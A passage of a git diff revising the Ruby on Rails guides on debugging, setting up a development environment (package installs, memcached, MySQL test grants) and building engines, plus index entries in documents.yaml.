{"Person attributes hash: #{@person.attributes.inspect}"} +``` + +The contents of the block, and therefore the string interpolation, is only +evaluated if debug is enabled. This performance savings is only really +noticeable with large amounts of logging, but it's a good practice to employ. + Debugging with the `debugger` gem --------------------------------- @@ -246,7 +279,7 @@ Make sure you have started your web server with the option `--debugger`: ```bash $ rails server --debugger => Booting WEBrick -=> Rails 3.2.13 application starting on http://0.0.0.0:3000 +=> Rails 4.0.0 application starting on http://0.0.0.0:3000 => Debugger enabled ... ``` @@ -299,7 +332,7 @@ This command shows you where you are in the code by printing 10 lines centered a 7 8 respond_to do |format| 9 format.html # index.html.erb - 10 format.json { render :json => @posts } + 10 format.json { render json: @posts } ``` If you repeat the `list` command, this time using just `l`, the next ten lines of the file will be printed out. @@ -335,7 +368,7 @@ On the other hand, to see the previous ten lines you should type `list-` (or `l- 7 8 respond_to do |format| 9 format.html # index.html.erb - 10 format.json { render :json => @posts } + 10 format.json { render json: @posts } ``` This way you can move inside the file, being able to see the code above and over the line you added the `debugger`. @@ -353,7 +386,7 @@ Finally, to see where you are in the code again you can type `list=` 7 8 respond_to do |format| 9 format.html # index.html.erb - 10 format.json { render :json => @posts } + 10 format.json { render json: @posts } ``` ### The Context @@ -502,7 +535,7 @@ TIP: You can use the debugger while using `rails console`. Just remember to `req ``` $ rails console -Loading development environment (Rails 3.2.13) +Loading development environment (Rails 4.0.0) >> require "debugger" => [] >> author = Author.first @@ -646,7 +679,7 @@ In this section, you will learn how to find and fix such leaks by using tool suc [Valgrind](http://valgrind.org/) is a Linux-only application for detecting C-based memory leaks and race conditions. -There are Valgrind tools that can automatically detect many memory management and threading bugs, and profile your programs in detail. For example, a C extension in the interpreter calls `malloc()` but is doesn't properly call `free()`, this memory won't be available until the app terminates. +There are Valgrind tools that can automatically detect many memory management and threading bugs, and profile your programs in detail. For example, if a C extension in the interpreter calls `malloc()` but doesn't properly call `free()`, this memory won't be available until the app terminates. For further information on how to install Valgrind and use with Ruby, refer to [Valgrind and Ruby](http://blog.evanweaver.com/articles/2008/02/05/valgrind-and-ruby/) by Evan Weaver. @@ -655,21 +688,20 @@ Plugins for Debugging There are some Rails plugins to help you to find errors and debug your application. Here is a list of useful plugins for debugging: -* [Footnotes](https://github.com/josevalim/rails-footnotes:) Every Rails page has footnotes that give request information and link back to your source via TextMate. -* [Query Trace](https://github.com/ntalbott/query_trace/tree/master:) Adds query origin tracing to your logs. -* [Query Reviewer](https://github.com/nesquena/query_reviewer:) This rails plugin not only runs "EXPLAIN" before each of your select queries in development, but provides a small DIV in the rendered output of each page with the summary of warnings for each query that it analyzed. -* [Exception Notifier](https://github.com/smartinez87/exception_notification/tree/master:) Provides a mailer object and a default set of templates for sending email notifications when errors occur in a Rails application. +* [Footnotes](https://github.com/josevalim/rails-footnotes) Every Rails page has footnotes that give request information and link back to your source via TextMate. +* [Query Trace](https://github.com/ntalbott/query_trace/tree/master) Adds query origin tracing to your logs. +* [Query Reviewer](https://github.com/nesquena/query_reviewer) This rails plugin not only runs "EXPLAIN" before each of your select queries in development, but provides a small DIV in the rendered output of each page with the summary of warnings for each query that it analyzed. +* [Exception Notifier](https://github.com/smartinez87/exception_notification/tree/master) Provides a mailer object and a default set of templates for sending email notifications when errors occur in a Rails application. +* [Better Errors](https://github.com/charliesome/better_errors) Replaces the standard Rails error page with a new one containing more contextual information, like source code and variable inspection. +* [RailsPanel](https://github.com/dejan/rails_panel) Chrome extension for Rails development that will end your tailing of development.log. Have all information about your Rails app requests in the browser - in the Developer Tools panel. Provides insight to db/rendering/total times, parameter list, rendered views and more. References ---------- * [ruby-debug Homepage](http://bashdb.sourceforge.net/ruby-debug/home-page.html) * [debugger Homepage](https://github.com/cldwalker/debugger) -* [Article: Debugging a Rails application with ruby-debug](http://www.sitepoint.com/article/debug-rails-app-ruby-debug/) -* [ruby-debug Basics screencast](http://brian.maybeyoureinsane.net/blog/2007/05/07/ruby-debug-basics-screencast/) +* [Article: Debugging a Rails application with ruby-debug](http://www.sitepoint.com/debug-rails-app-ruby-debug/) * [Ryan Bates' debugging ruby (revised) screencast](http://railscasts.com/episodes/54-debugging-ruby-revised) * [Ryan Bates' stack trace screencast](http://railscasts.com/episodes/24-the-stack-trace) * [Ryan Bates' logger screencast](http://railscasts.com/episodes/56-the-logger) * [Debugging with ruby-debug](http://bashdb.sourceforge.net/ruby-debug.html) -* [ruby-debug cheat sheet](http://cheat.errtheblog.com/s/rdebug/) -* [Ruby on Rails Wiki: How to Configure Logging](http://wiki.rubyonrails.org/rails/pages/HowtoConfigureLogging) diff --git a/guides/source/development_dependencies_install.md b/guides/source/development_dependencies_install.md index 6493c1e1ec..4ee43b6a97 100644 --- a/guides/source/development_dependencies_install.md +++ b/guides/source/development_dependencies_install.md @@ -5,6 +5,10 @@ This guide covers how to setup an environment for Ruby on Rails core development After reading this guide, you will know: +* How to set up your machine for Rails development +* How to run specific groups of unit tests from the Rails test suite +* How the ActiveRecord portion of the Rails test suite operates + -------------------------------------------------------------------------------- The Easy Way @@ -21,10 +25,10 @@ In case you can't use the Rails development box, see section above, these are th Ruby on Rails uses Git for source code control. The [Git homepage](http://git-scm.com/) has installation instructions. There are a variety of resources on the net that will help you get familiar with Git: -* [Try Git course](http://try.github.com/) is an interactive course that will teach you the basics. +* [Try Git course](http://try.github.io/) is an interactive course that will teach you the basics. * The [official Documentation](http://git-scm.com/documentation) is pretty comprehensive and also contains some videos with the basics of Git -* [Everyday Git](http://schacon.github.com/git/everyday.html) will teach you just enough about Git to get by. -* The [PeepCode screencast](https://peepcode.com/products/git) on Git ($9) is easier to follow. +* [Everyday Git](http://schacon.github.io/git/everyday.html) will teach you just enough about Git to get by. +* The [PeepCode screencast](https://peepcode.com/products/git) on Git is easier to follow. * [GitHub](http://help.github.com) offers links to a variety of Git resources. * [Pro Git](http://git-scm.com/book) is an entire book about Git with a Creative Commons license. @@ -53,9 +57,24 @@ If you are on Fedora or CentOS, you can run $ sudo yum install libxml2 libxml2-devel libxslt libxslt-devel ``` -If you have any problems with these libraries, you should install them manually compiling the source code. Just follow the instructions at the [Red Hat/CentOS section of the Nokogiri tutorials](http://nokogiri.org/tutorials/installing_nokogiri.html#red_hat__centos) . +If you are running Arch Linux, you're done with: + +```bash +$ sudo pacman -S libxml2 libxslt +``` + +On FreeBSD, you just have to run: + +```bash +# pkg_add -r libxml2 libxslt +``` + +Alternatively, you can install the `textproc/libxml2` and `textproc/libxslt` +ports. -Also, SQLite3 and its development files for the `sqlite3-ruby` gem — in Ubuntu you're done with just +If you have any problems with these libraries, you can install them manually by compiling the source code. Just follow the instructions at the [Red Hat/CentOS section of the Nokogiri tutorials](http://nokogiri.org/tutorials/installing_nokogiri.html#red_hat__centos) . + +Also, SQLite3 and its development files for the `sqlite3-ruby` gem - in Ubuntu you're done with just ```bash $ sudo apt-get install sqlite3 libsqlite3-dev @@ -67,6 +86,20 @@ And if you are on Fedora or CentOS, you're done with $ sudo yum install sqlite3 sqlite3-devel ``` +If you are on Arch Linux, you will need to run: + +```bash +$ sudo pacman -S sqlite +``` + +For FreeBSD users, you're done with: + +```bash +# pkg_add -r sqlite3 +``` + +Or compile the `databases/sqlite3` port. + Get a recent version of [Bundler](http://gembundler.com/) ```bash @@ -80,7 +113,29 @@ and run: $ bundle install --without db ``` -This command will install all dependencies except the MySQL and PostgreSQL Ruby drivers. We will come back to these soon. With dependencies installed, you can run the test suite with: +This command will install all dependencies except the MySQL and PostgreSQL Ruby drivers. We will come back to these soon. + +NOTE: If you would like to run the tests that use memcached, you need to ensure that you have it installed and running. + +You can use homebrew to install memcached on OSX: + +```bash +$ brew install memcached +``` + +On Ubuntu you can install it with apt-get: + +```bash +$ sudo apt-get install memcached +``` + +Or use yum on Fedora or CentOS: + +```bash +$ sudo yum install memcached +``` + +With the dependencies now installed, you can run the test suite with: ```bash $ bundle exec rake test @@ -93,20 +148,27 @@ $ cd actionpack $ bundle exec rake test ``` -If you want to run the tests located in a specific directory use the `TEST_DIR` environment variable. For example, this will run the tests of the `railties/test/generators` directory only: +If you want to run the tests located in a specific directory use the `TEST_DIR` environment variable. For example, this will run the tests in the `railties/test/generators` directory only: ```bash $ cd railties $ TEST_DIR=generators bundle exec rake test ``` -You can run any single test separately too: +You can run the tests for a particular file by using: ```bash $ cd actionpack $ bundle exec ruby -Itest test/template/form_helper_test.rb ``` +Or, you can run a single test in a particular file: + +```bash +$ cd actionpack +$ bundle exec ruby -Itest path/to/test.rb -n test_name +``` + ### Active Record Setup The test suite of Active Record attempts to run four times: once for SQLite3, once for each of the two MySQL gems (`mysql` and `mysql2`), and once for PostgreSQL. We are going to see now how to set up the environment for them. @@ -133,14 +195,33 @@ $ sudo yum install mysql-server mysql-devel $ sudo yum install postgresql-server postgresql-devel ``` -After that run: +If you are running Arch Linux, MySQL isn't supported anymore so you will need to +use MariaDB instead (see [this announcement](https://www.archlinux.org/news/mariadb-replaces-mysql-in-repositories/)): + +```bash +$ sudo pacman -S mariadb libmariadbclient mariadb-clients +$ sudo pacman -S postgresql postgresql-libs +``` + +FreeBSD users will have to run the following: + +```bash +# pkg_add -r mysql56-client mysql56-server +# pkg_add -r postgresql92-client postgresql92-server +``` + +Or install them through ports (they are located under the `databases` folder). +If you run into troubles during the installation of MySQL, please see +[the MySQL documentation](http://dev.mysql.com/doc/refman/5.1/en/freebsd-installation.html). + +After that, run: ```bash $ rm .bundle/config $ bundle install ``` -We need first to delete `.bundle/config` because Bundler remembers in that file that we didn't want to install the "db" group (alternatively you can edit the file). +First, we need to delete `.bundle/config` because Bundler remembers in that file that we didn't want to install the "db" group (alternatively you can edit the file). In order to be able to run the test suite against MySQL you need to create a user named `rails` with privileges on the test databases: @@ -152,6 +233,8 @@ mysql> GRANT ALL PRIVILEGES ON activerecord_unittest.* to 'rails'@'localhost'; mysql> GRANT ALL PRIVILEGES ON activerecord_unittest2.* to 'rails'@'localhost'; +mysql> GRANT ALL PRIVILEGES ON inexistent_activerecord_unittest.* + to 'rails'@'localhost'; ``` and create the test databases: @@ -192,4 +275,4 @@ NOTE: Using the rake task to create the test databases ensures they have the cor NOTE: You'll see the following warning (or localized warning) during activating HStore extension in PostgreSQL 9.1.x or earlier: "WARNING: => is deprecated as an operator". -If you’re using another database, check the file `activerecord/test/config.yml` or `activerecord/test/config.example.yml` for default connection information. You can edit `activerecord/test/config.yml` to provide different credentials on your machine if you must, but obviously you should not push any such changes back to Rails. +If you're using another database, check the file `activerecord/test/config.yml` or `activerecord/test/config.example.yml` for default connection information. You can edit `activerecord/test/config.yml` to provide different credentials on your machine if you must, but obviously you should not push any such changes back to Rails. diff --git a/guides/source/documents.yaml b/guides/source/documents.yaml index c73bbeb90d..ae47744e31 100644 --- a/guides/source/documents.yaml +++ b/guides/source/documents.yaml @@ -36,6 +36,11 @@ name: Views documents: - + name: Action View Overview + url: action_view_overview.html + description: This guide provides an introduction to Action View and introduces a few of the more common view helpers. + work_in_progress: true + - name: Layouts and Rendering in Rails url: layouts_and_rendering.html description: This guide covers the basic layout features of Action Controller and Action View, including rendering and redirecting, using content_for blocks, and working with partials. @@ -68,7 +73,6 @@ - name: Action Mailer Basics url: action_mailer_basics.html - work_in_progress: true description: This guide describes how to use Action Mailer to send and receive emails. - name: Testing Rails Applications @@ -146,6 +150,13 @@ url: ruby_on_rails_guides_guidelines.html description: This guide documents the Ruby on Rails guides guidelines. - + name: Maintenance Policy + documents: + - + name: Maintenance Policy + url: maintenance_policy.html + description: What versions of Ruby on Rails are currently supported, and when to expect new versions. +- name: Release Notes documents: - @@ -154,6 +165,11 @@ work_in_progress: true description: This guide helps in upgrading applications to latest Ruby on Rails versions. - + name: Ruby on Rails 4.1 Release Notes + url: 4_1_release_notes.html + work_in_progress: true + description: Release notes for Rails 4.1. + - name: Ruby on Rails 4.0 Release Notes url: 4_0_release_notes.html description: Release notes for Rails 4.0. diff --git a/guides/source/engines.md b/guides/source/engines.md index ac76f00832..bbd63bb892 100644 --- a/guides/source/engines.md +++ b/guides/source/engines.md @@ -1,7 +1,9 @@ Getting Started with Engines ============================ -In this guide you will learn about engines and how they can be used to provide additional functionality to their host applications through a clean and very easy-to-use interface. +In this guide you will learn about engines and how they can be used to provide +additional functionality to their host applications through a clean and very +easy-to-use interface. After reading this guide, you will know: @@ -16,26 +18,59 @@ After reading this guide, you will know: What are engines? ----------------- -Engines can be considered miniature applications that provide functionality to their host applications. A Rails application is actually just a "supercharged" engine, with the `Rails::Application` class inheriting a lot of its behavior from `Rails::Engine`. - -Therefore, engines and applications can be thought of almost the same thing, just with subtle differences, as you'll see throughout this guide. Engines and applications also share a common structure. - -Engines are also closely related to plugins where the two share a common `lib` directory structure and are both generated using the `rails plugin new` generator. The difference being that an engine is considered a "full plugin" by Rails as indicated by the `--full` option that's passed to the generator command, but this guide will refer to them simply as "engines" throughout. An engine **can** be a plugin, and a plugin **can** be an engine. - -The engine that will be created in this guide will be called "blorgh". The engine will provide blogging functionality to its host applications, allowing for new posts and comments to be created. At the beginning of this guide, you will be working solely within the engine itself, but in later sections you'll see how to hook it into an application. - -Engines can also be isolated from their host applications. This means that an application is able to have a path provided by a routing helper such as `posts_path` and use an engine also that provides a path also called `posts_path`, and the two would not clash. Along with this, controllers, models and table names are also namespaced. You'll see how to do this later in this guide. - -It's important to keep in mind at all times that the application should **always** take precedence over its engines. An application is the object that has final say in what goes on in the universe (with the universe being the application's environment) where the engine should only be enhancing it, rather than changing it drastically. - -To see demonstrations of other engines, check out [Devise](https://github.com/plataformatec/devise), an engine that provides authentication for its parent applications, or [Forem](https://github.com/radar/forem), an engine that provides forum functionality. There's also [Spree](https://github.com/spree/spree) which provides an e-commerce platform, and [RefineryCMS](https://github.com/refinery/refinerycms), a CMS engine. - -Finally, engines would not have been possible without the work of James Adam, Piotr Sarnacki, the Rails Core Team, and a number of other people. If you ever meet them, don't forget to say thanks! +Engines can be considered miniature applications that provide functionality to +their host applications. A Rails application is actually just a "supercharged" +engine, with the `Rails::Application` class inheriting a lot of its behavior +from `Rails::Engine`. + +Therefore, engines and applications can be thought of almost the same thing, +just with subtle differences, as you'll see throughout this guide. Engines and +applications also share a common structure. + +Engines are also closely related to plugins. The two share a common `lib` +directory structure, and are both generated using the `rails plugin new` +generator. The difference is that an engine is considered a "full plugin" by +Rails (as indicated by the `--full` option that's passed to the generator +command). This guide will refer to them simply as "engines" throughout. An +engine **can** be a plugin, and a plugin **can** be an engine. + +The engine that will be created in this guide will be called "blorgh". The +engine will provide blogging functionality to its host applications, allowing +for new posts and comments to be created. At the beginning of this guide, you +will be working solely within the engine itself, but in later sections you'll +see how to hook it into an application. + +Engines can also be isolated from their host applications. This means that an +application is able to have a path provided by a routing helper such as +`posts_path` and use an engine also that provides a path also called +`posts_path`, and the two would not clash. Along with this, controllers, models +and table names are also namespaced. You'll see how to do this later in this +guide. + +It's important to keep in mind at all times that the application should +**always** take precedence over its engines. An application is the object that +has final say in what goes on in the universe (with the universe being the +application's environment) where the engine should only be enhancing it, rather +than changing it drastically. + +To see demonstrations of other engines, check out +[Devise](https://github.com/plataformatec/devise), an engine that provides +authentication for its parent applications, or +[Forem](https://github.com/radar/forem), an engine that provides forum +functionality. There's also [Spree](https://github.com/spree/spree) which +provides an e-commerce platform, and +[RefineryCMS](https://github.com/refinery/refinerycms), a CMS engine. + +Finally, engines would not have been possible without the work of James Adam, +Piotr Sarnacki, the Rails Core Team, and a number of other people. If you ever +meet them, don't forget to say thanks! Generating an engine -------------------- -To generate an engine, you will need to run the plugin generator and pass it options as appropriate to the need. For the "blorgh" example, you will need to create a "mountable" engine, running this command in a terminal: +To generate an engine, you will need to run the plugin generator and pass it +options as appropriate to the need. For the "blorgh" example, you will need to +create a "mountable" engine, running this command in a terminal: ```bash $ rails plugin new blorgh --mountable @@ -47,7 +82,8 @@ The full list of options for the plugin generator may be seen by typing: $ rails plugin --help ``` -The `--full` option tells the generator that you want to create an engine, including a skeleton structure by providing the following: +The `--full` option tells the generator that you want to create an engine, +including a skeleton structure that provides the following: * An `app` directory tree * A `config/routes.rb` file: @@ -56,7 +92,9 @@ The `--full` option tells the generator that you want to create an engine, inclu Rails.application.routes.draw do end ``` - * A file at `lib/blorgh/engine.rb` which is identical in function to a standard Rails application's `config/application.rb` file: + + * A file at `lib/blorgh/engine.rb`, which is identical in function to a + * standard Rails application's `config/application.rb` file: ```ruby module Blorgh @@ -65,7 +103,9 @@ The `--full` option tells the generator that you want to create an engine, inclu end ``` -The `--mountable` option tells the generator that you want to create a "mountable" and namespace-isolated engine. This generator will provide the same skeleton structure as would the `--full` option, and will add: +The `--mountable` option tells the generator that you want to create a +"mountable" and namespace-isolated engine. This generator will provide the same +skeleton structure as would the `--full` option, and will add: * Asset manifest files (`application.js` and `application.css`) * A namespaced `ApplicationController` stub @@ -88,23 +128,32 @@ The `--mountable` option tells the generator that you want to create a "mountabl end ``` -Additionally, the `--mountable` option tells the generator to mount the engine inside the dummy testing application located at `test/dummy` by adding the following to the dummy application's routes file at `test/dummy/config/routes.rb`: +Additionally, the `--mountable` option tells the generator to mount the engine +inside the dummy testing application located at `test/dummy` by adding the +following to the dummy application's routes file at +`test/dummy/config/routes.rb`: ```ruby mount Blorgh::Engine, at: "blorgh" ``` -### Inside an engine +### Inside an Engine -#### Critical files +#### Critical Files -At the root of this brand new engine's directory lives a `blorgh.gemspec` file. When you include the engine into an application later on, you will do so with this line in the Rails application's `Gemfile`: +At the root of this brand new engine's directory lives a `blorgh.gemspec` file. +When you include the engine into an application later on, you will do so with +this line in the Rails application's `Gemfile`: ```ruby gem 'blorgh', path: "vendor/engines/blorgh" ``` -By specifying it as a gem within the `Gemfile`, Bundler will load it as such, parsing this `blorgh.gemspec` file and requiring a file within the `lib` directory called `lib/blorgh.rb`. This file requires the `blorgh/engine.rb` file (located at `lib/blorgh/engine.rb`) and defines a base module called `Blorgh`. +Don't forget to run `bundle install` as usual. By specifying it as a gem within +the `Gemfile`, Bundler will load it as such, parsing this `blorgh.gemspec` file +and requiring a file within the `lib` directory called `lib/blorgh.rb`. This +file requires the `blorgh/engine.rb` file (located at `lib/blorgh/engine.rb`) +and defines a base module called `Blorgh`. ```ruby require "blorgh/engine" @@ -113,7 +162,10 @@ module Blorgh end ``` -TIP: Some engines choose to use this file to put global configuration options for their engine. It's a relatively good idea, and so if you want to offer configuration options, the file where your engine's `module` is defined is perfect for that. Place the methods inside the module and you'll be good to go. +TIP: Some engines choose to use this file to put global configuration options +for their engine. It's a relatively good idea, so if you want to offer +configuration options, the file where your engine's `module` is defined is +perfect for that. Place the methods inside the module and you'll be good to go. Within `lib/blorgh/engine.rb` is the base class for the engine: @@ -125,43 +177,94 @@ module Blorgh end ``` -By inheriting from the `Rails::Engine` class, this gem notifies Rails that there's an engine at the specified path, and will correctly mount the engine inside the application, performing tasks such as adding the `app` directory of the engine to the load path for models, mailers, controllers and views. - -The `isolate_namespace` method here deserves special notice. This call is responsible for isolating the controllers, models, routes and other things into their own namespace, away from similar components inside the application. Without this, there is a possibility that the engine's components could "leak" into the application, causing unwanted disruption, or that important engine components could be overridden by similarly named things within the application. One of the examples of such conflicts are helpers. Without calling `isolate_namespace`, engine's helpers would be included in an application's controllers. - -NOTE: It is **highly** recommended that the `isolate_namespace` line be left within the `Engine` class definition. Without it, classes generated in an engine **may** conflict with an application. - -What this isolation of the namespace means is that a model generated by a call to `rails g model` such as `rails g model post` won't be called `Post`, but instead be namespaced and called `Blorgh::Post`. In addition, the table for the model is namespaced, becoming `blorgh_posts`, rather than simply `posts`. Similar to the model namespacing, a controller called `PostsController` becomes `Blorgh::PostsController` and the views for that controller will not be at `app/views/posts`, but `app/views/blorgh/posts` instead. Mailers are namespaced as well. - -Finally, routes will also be isolated within the engine. This is one of the most important parts about namespacing, and is discussed later in the [Routes](#routes) section of this guide. - -#### `app` directory - -Inside the `app` directory are the standard `assets`, `controllers`, `helpers`, `mailers`, `models` and `views` directories that you should be familiar with from an application. The `helpers`, `mailers` and `models` directories are empty and so aren't described in this section. We'll look more into models in a future section, when we're writing the engine. - -Within the `app/assets` directory, there are the `images`, `javascripts` and `stylesheets` directories which, again, you should be familiar with due to their similarity to an application. One difference here however is that each directory contains a sub-directory with the engine name. Because this engine is going to be namespaced, its assets should be too. - -Within the `app/controllers` directory there is a `blorgh` directory and inside that a file called `application_controller.rb`. This file will provide any common functionality for the controllers of the engine. The `blorgh` directory is where the other controllers for the engine will go. By placing them within this namespaced directory, you prevent them from possibly clashing with identically-named controllers within other engines or even within the application. - -NOTE: The `ApplicationController` class inside an engine is named just like a Rails application in order to make it easier for you to convert your applications into engines. - -Lastly, the `app/views` directory contains a `layouts` folder which contains a file at `blorgh/application.html.erb` which allows you to specify a layout for the engine. If this engine is to be used as a stand-alone engine, then you would add any customization to its layout in this file, rather than the application's `app/views/layouts/application.html.erb` file. - -If you don't want to force a layout on to users of the engine, then you can delete this file and reference a different layout in the controllers of your engine. - -#### `bin` directory - -This directory contains one file, `bin/rails`, which enables you to use the `rails` sub-commands and generators just like you would within an application. This means that you will very easily be able to generate new controllers and models for this engine by running commands like this: +By inheriting from the `Rails::Engine` class, this gem notifies Rails that +there's an engine at the specified path, and will correctly mount the engine +inside the application, performing tasks such as adding the `app` directory of +the engine to the load path for models, mailers, controllers and views. + +The `isolate_namespace` method here deserves special notice. This call is +responsible for isolating the controllers, models, routes and other things into +their own namespace, away from similar components inside the application. +Without this, there is a possibility that the engine's components could "leak" +into the application, causing unwanted disruption, or that important engine +components could be overridden by similarly named things within the application. +One of the examples of such conflicts is helpers. Without calling +`isolate_namespace`, the engine's helpers would be included in an application's +controllers. + +NOTE: It is **highly** recommended that the `isolate_namespace` line be left +within the `Engine` class definition. Without it, classes generated in an engine +**may** conflict with an application. + +What this isolation of the namespace means is that a model generated by a call +to `rails g model`, such as `rails g model post`, won't be called `Post`, but +instead be namespaced and called `Blorgh::Post`. In addition, the table for the +model is namespaced, becoming `blorgh_posts`, rather than simply `posts`. +Similar to the model namespacing, a controller called `PostsController` becomes +`Blorgh::PostsController` and the views for that controller will not be at +`app/views/posts`, but `app/views/blorgh/posts` instead. Mailers are namespaced +as well. + +Finally, routes will also be isolated within the engine. This is one of the most +important parts about namespacing, and is discussed later in the +[Routes](#routes) section of this guide. + +#### `app` Directory + +Inside the `app` directory are the standard `assets`, `controllers`, `helpers`, +`mailers`, `models` and `views` directories that you should be familiar with +from an application. The `helpers`, `mailers` and `models` directories are +empty, so they aren't described in this section. We'll look more into models in +a future section, when we're writing the engine. + +Within the `app/assets` directory, there are the `images`, `javascripts` and +`stylesheets` directories which, again, you should be familiar with due to their +similarity to an application. One difference here, however, is that each +directory contains a sub-directory with the engine name. Because this engine is +going to be namespaced, its assets should be too. + +Within the `app/controllers` directory there is a `blorgh` directory that +contains a file called `application_controller.rb`. This file will provide any +common functionality for the controllers of the engine. The `blorgh` directory +is where the other controllers for the engine will go. By placing them within +this namespaced directory, you prevent them from possibly clashing with +identically-named controllers within other engines or even within the +application. + +NOTE: The `ApplicationController` class inside an engine is named just like a +Rails application in order to make it easier for you to convert your +applications into engines. + +Lastly, the `app/views` directory contains a `layouts` folder, which contains a +file at `blorgh/application.html.erb`. This file allows you to specify a layout +for the engine. If this engine is to be used as a stand-alone engine, then you +would add any customization to its layout in this file, rather than the +application's `app/views/layouts/application.html.erb` file. + +If you don't want to force a layout on to users of the engine, then you can +delete this file and reference a different layout in the controllers of your +engine. + +#### `bin` Directory + +This directory contains one file, `bin/rails`, which enables you to use the +`rails` sub-commands and generators just like you would within an application. +This means that you will be able to generate new controllers and models for this +engine very easily by running commands like this: ```bash rails g model ``` -Keeping in mind, of course, that anything generated with these commands inside an engine that has `isolate_namespace` inside the `Engine` class will be namespaced. +Keep in mind, of course, that anything generated with these commands inside of +an engine that has `isolate_namespace` in the `Engine` class will be namespaced. -#### `test` directory +#### `test` Directory -The `test` directory is where tests for the engine will go. To test the engine, there is a cut-down version of a Rails application embedded within it at `test/dummy`. This application will mount the engine in the `test/dummy/config/routes.rb` file: +The `test` directory is where tests for the engine will go. To test the engine, +there is a cut-down version of a Rails application embedded within it at +`test/dummy`. This application will mount the engine in the +`test/dummy/config/routes.rb` file: ```ruby Rails.application.routes.draw do @@ -169,18 +272,25 @@ Rails.application.routes.draw do end ``` -This line mounts the engine at the path `/blorgh`, which will make it accessible through the application only at that path. +This line mounts the engine at the path `/blorgh`, which will make it accessible +through the application only at that path. -In the test directory there is the `test/integration` directory, where integration tests for the engine should be placed. Other directories can be created in the `test` directory as well. For example, you may wish to create a `test/models` directory for your models tests. +Inside the test directory there is the `test/integration` directory, where +integration tests for the engine should be placed. Other directories can be +created in the `test` directory as well. For example, you may wish to create a +`test/models` directory for your model tests. Providing engine functionality ------------------------------ -The engine that this guide covers provides posting and commenting functionality and follows a similar thread to the [Getting Started Guide](getting_started.html), with some new twists. +The engine that this guide covers provides posting and commenting functionality +and follows a similar thread to the [Getting Started +Guide](getting_started.html), with some new twists. -### Generating a post resource +### Generating a Post Resource -The first thing to generate for a blog engine is the `Post` model and related controller. To quickly generate this, you can use the Rails scaffold generator. +The first thing to generate for a blog engine is the `Post` model and related +controller. To quickly generate this, you can use the Rails scaffold generator. ```bash $ rails generate scaffold post title:string text:text @@ -195,7 +305,8 @@ create app/models/blorgh/post.rb invoke test_unit create test/models/blorgh/post_test.rb create test/fixtures/blorgh/posts.yml - route resources :posts +invoke resource_route + route resources :posts invoke scaffold_controller create app/controllers/blorgh/posts_controller.rb invoke erb @@ -220,11 +331,22 @@ invoke css create app/assets/stylesheets/scaffold.css ``` -The first thing that the scaffold generator does is invoke the `active_record` generator, which generates a migration and a model for the resource. Note here, however, that the migration is called `create_blorgh_posts` rather than the usual `create_posts`. This is due to the `isolate_namespace` method called in the `Blorgh::Engine` class's definition. The model here is also namespaced, being placed at `app/models/blorgh/post.rb` rather than `app/models/post.rb` due to the `isolate_namespace` call within the `Engine` class. +The first thing that the scaffold generator does is invoke the `active_record` +generator, which generates a migration and a model for the resource. Note here, +however, that the migration is called `create_blorgh_posts` rather than the +usual `create_posts`. This is due to the `isolate_namespace` method called in +the `Blorgh::Engine` class's definition. The model here is also namespaced, +being placed at `app/models/blorgh/post.rb` rather than `app/models/post.rb` due +to the `isolate_namespace` call within the `Engine` class. -Next, the `test_unit` generator is invoked for this model, generating a model test at `test/models/blorgh/post_test.rb` (rather than `test/models/post_test.rb`) and a fixture at `test/fixtures/blorgh/posts.yml` (rather than `test/fixtures/posts.yml`). +Next, the `test_unit` generator is invoked for this model, generating a model +test at `test/models/blorgh/post_test.rb` (rather than +`test/models/post_test.rb`) and a fixture at `test/fixtures/blorgh/posts.yml` +(rather than `test/fixtures/posts.yml`). -After that, a line for the resource is inserted into the `config/routes.rb` file for the engine. This line is simply `resources :posts`, turning the `config/routes.rb` file for the engine into this: +After that, a line for the resource is inserted into the `config/routes.rb` file +for the engine. This line is simply `resources :posts`, turning the +`config/routes.rb` file for the engine into this: ```ruby Blorgh::Engine.routes.draw do @@ -232,12 +354,22 @@ Blorgh::Engine.routes.draw do end ``` -Note here that the routes are drawn upon the `Blorgh::Engine` object rather than the `YourApp::Application` class. This is so that the engine routes are confined to the engine itself and can be mounted at a specific point as shown in the [test directory](#test-directory) section. It also causes the engine's routes to be isolated from those routes that are within the application. The [Routes](#routes) section of -this guide describes it in details. +Note here that the routes are drawn upon the `Blorgh::Engine` object rather than +the `YourApp::Application` class. This is so that the engine routes are confined +to the engine itself and can be mounted at a specific point as shown in the +[test directory](#test-directory) section. It also causes the engine's routes to +be isolated from those routes that are within the application. The +[Routes](#routes) section of this guide describes it in detail. -Next, the `scaffold_controller` generator is invoked, generating a controller called `Blorgh::PostsController` (at `app/controllers/blorgh/posts_controller.rb`) and its related views at `app/views/blorgh/posts`. This generator also generates a test for the controller (`test/controllers/blorgh/posts_controller_test.rb`) and a helper (`app/helpers/blorgh/posts_controller.rb`). +Next, the `scaffold_controller` generator is invoked, generating a controller +called `Blorgh::PostsController` (at +`app/controllers/blorgh/posts_controller.rb`) and its related views at +`app/views/blorgh/posts`. This generator also generates a test for the +controller (`test/controllers/blorgh/posts_controller_test.rb`) and a helper +(`app/helpers/blorgh/posts_controller.rb`). -Everything this generator has created is neatly namespaced. The controller's class is defined within the `Blorgh` module: +Everything this generator has created is neatly namespaced. The controller's +class is defined within the `Blorgh` module: ```ruby module Blorgh @@ -247,50 +379,76 @@ module Blorgh end ``` -NOTE: The `ApplicationController` class being inherited from here is the `Blorgh::ApplicationController`, not an application's `ApplicationController`. +NOTE: The `ApplicationController` class being inherited from here is the +`Blorgh::ApplicationController`, not an application's `ApplicationController`. The helper inside `app/helpers/blorgh/posts_helper.rb` is also namespaced: ```ruby module Blorgh - class PostsHelper + module PostsHelper ... end end ``` -This helps prevent conflicts with any other engine or application that may have a post resource as well. +This helps prevent conflicts with any other engine or application that may have +a post resource as well. -Finally, two files that are the assets for this resource are generated, `app/assets/javascripts/blorgh/posts.js` and `app/assets/stylesheets/blorgh/posts.css`. You'll see how to use these a little later. +Finally, the assets for this resource are generated in two files: +`app/assets/javascripts/blorgh/posts.js` and +`app/assets/stylesheets/blorgh/posts.css`. You'll see how to use these a little +later. -By default, the scaffold styling is not applied to the engine as the engine's layout file, `app/views/layouts/blorgh/application.html.erb` doesn't load it. To make this apply, insert this line into the `<head>` tag of this layout: +By default, the scaffold styling is not applied to the engine because the +engine's layout file, `app/views/layouts/blorgh/application.html.erb`, doesn't +load it. To make the scaffold styling apply, insert this line into the `<head>` +tag of this layout: ```erb <%= stylesheet_link_tag "scaffold" %> ``` -You can see what the engine has so far by running `rake db:migrate` at the root of our engine to run the migration generated by the scaffold generator, and then running `rails server` in 